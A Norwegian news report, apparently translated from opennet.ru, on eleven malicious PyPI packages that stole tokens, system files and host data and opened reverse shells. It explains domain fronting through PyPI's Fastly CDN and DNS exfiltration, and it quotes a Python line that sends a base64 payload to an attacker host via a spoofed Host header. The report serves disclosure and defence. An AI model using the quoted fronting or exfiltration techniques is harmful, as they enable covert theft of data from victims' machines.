Ondsinnede biblioteker er identifisert i PyPI-katalogen som bruker PyPI CDN for å skjule kommunikasjonskanalen

I PyPI-katalogen (Python Package Index) ble 11 pakker som inneholder skadelig kode identifisert. Før problemer ble identifisert, hadde pakkene blitt lastet ned rundt 38 tusen ganger totalt. De oppdagede ondsinnede pakkene er kjent for deres bruk av sofistikerte metoder for å skjule kommunikasjonskanaler med angripernes servere.

  • viktigpakke (6305 nedlastinger), viktig-pakke (12897) - etablerte en tilkobling til en ekstern server under dekke av å koble til pypi.python.org for å gi skalltilgang til systemet (omvendt skall) og brukte trevorc2-programmet for å skjule kommunikasjonskanal.
  • pptest (10001), ipboards (946) - brukte DNS som en kommunikasjonskanal for å overføre informasjon om systemet (i den første pakken vertsnavnet, arbeidskatalogen, intern og ekstern IP, i den andre - brukernavnet og vertsnavnet) .
  • owlmoon (3285), DiscordSafety (557), yiffparty (1859) - identifiserte Discord-tjenestetokenet i systemet og sendte det til en ekstern vert.
  • trrfab (287) - sendte identifikatoren, vertsnavnet og innholdet til /etc/passwd, /etc/hosts, /home til den eksterne verten.
  • 10Cent10 (490) - etablerte en omvendt skallforbindelse med en ekstern vert.
  • yandex-yt (4183) - viste en melding om at systemet ble kompromittert og omdirigert til en side med tilleggsinformasjon om ytterligere handlinger utstedt gjennom nda.ya.ru (api.ya.cc).

Spesielt å merke seg er metoden for å få tilgang til eksterne verter som brukes i pakkene viktigpakke og viktig pakke, som brukte Fastly innholdsleveringsnettverket som ble brukt i PyPI-katalogen for å skjule aktiviteten deres. Faktisk ble forespørsler sendt til pypi.python.org-serveren (inkludert spesifikasjon av navnet python.org i SNI inne i HTTPS-forespørselen), men HTTP "Host"-overskriften inkluderte navnet på serveren kontrollert av angriperne (sek. forward.io. global.prod.fastly.net). Innholdsleveringsnettverket sendte en lignende forespørsel til den angripende serveren, ved å bruke parametrene for TLS-tilkoblingen til pypi.python.org ved overføring av data.

PyPI-infrastrukturen drives av Fastly-innholdsleveringsnettverket, som bruker Varnish transparent proxy for å bufre typiske forespørsler, og bruker også TLS-sertifikatbehandling på CDN-nivå, i stedet for på sluttservere, for å videresende HTTPS-forespørsler gjennom en proxy. Uavhengig av målverten sendes forespørsler til proxyen, som bestemmer ønsket vert ved hjelp av HTTP "Host"-overskriften, og vertsdomenenavnene er knyttet til CDN load balancer IP-adresser som er typiske for alle Fastly-klienter.

Angripernes server registreres også hos CDN Fastly, som gir gratis planer til alle og til og med tillater anonym registrering. Det er bemerkelsesverdig at for å sende forespørsler til offeret når du oppretter et "omvendt skall", brukes også en ordning, men initiert fra siden av angriperens vert. Fra utsiden ser interaksjon med angripernes server ut som en legitim økt med PyPI-katalogen, kryptert med et PyPI TLS-sertifikat. En lignende teknikk, kjent som «domenefronting», ble tidligere aktivt brukt for å skjule vertsnavnet ved å omgå blokkering, ved å bruke muligheten gitt i enkelte CDN-nettverk for å få tilgang til HTTPS ved å indikere en fiktiv vert i SNI og faktisk overføre navnet på forespurt vert i HTTP Host-overskriften i en TLS-økt.

Ondsinnede biblioteker er identifisert i PyPI-katalogen som bruker PyPI CDN for å skjule kommunikasjonskanalen

For å skjule ondsinnet aktivitet ble TrevorC2-pakken i tillegg brukt til å gjøre interaksjon med serveren lik vanlig nettnavigasjon, for eksempel ble ondsinnede forespørsler sendt under dekke av å laste ned bildet "https://pypi.python.org/images/ guid=" med informasjonskoding i guideparameter. url = "https://pypi.python.org" + "/images" + "?" + "guid=" + b64_payload r = request.Request(url, headers = {'Host': "psec.forward.io.global.prod.fastly.net"})

pptest- og ipboards-pakkene brukte en annen tilnærming for å skjule nettverksaktivitet, basert på koding av nyttig informasjon i spørringer til DNS-serveren. Skadevaren overfører informasjon ved å utføre DNS-forespørsler som "nu4timjagq4fimbuhe.example.com", der dataene som overføres til kontrollserveren er kodet med base64-formatet i underdomenenavnet. Angriperen mottar disse meldingene ved å kontrollere DNS-serveren for domenet example.com.

Kilde: opennet.ru

Legg til en kommentar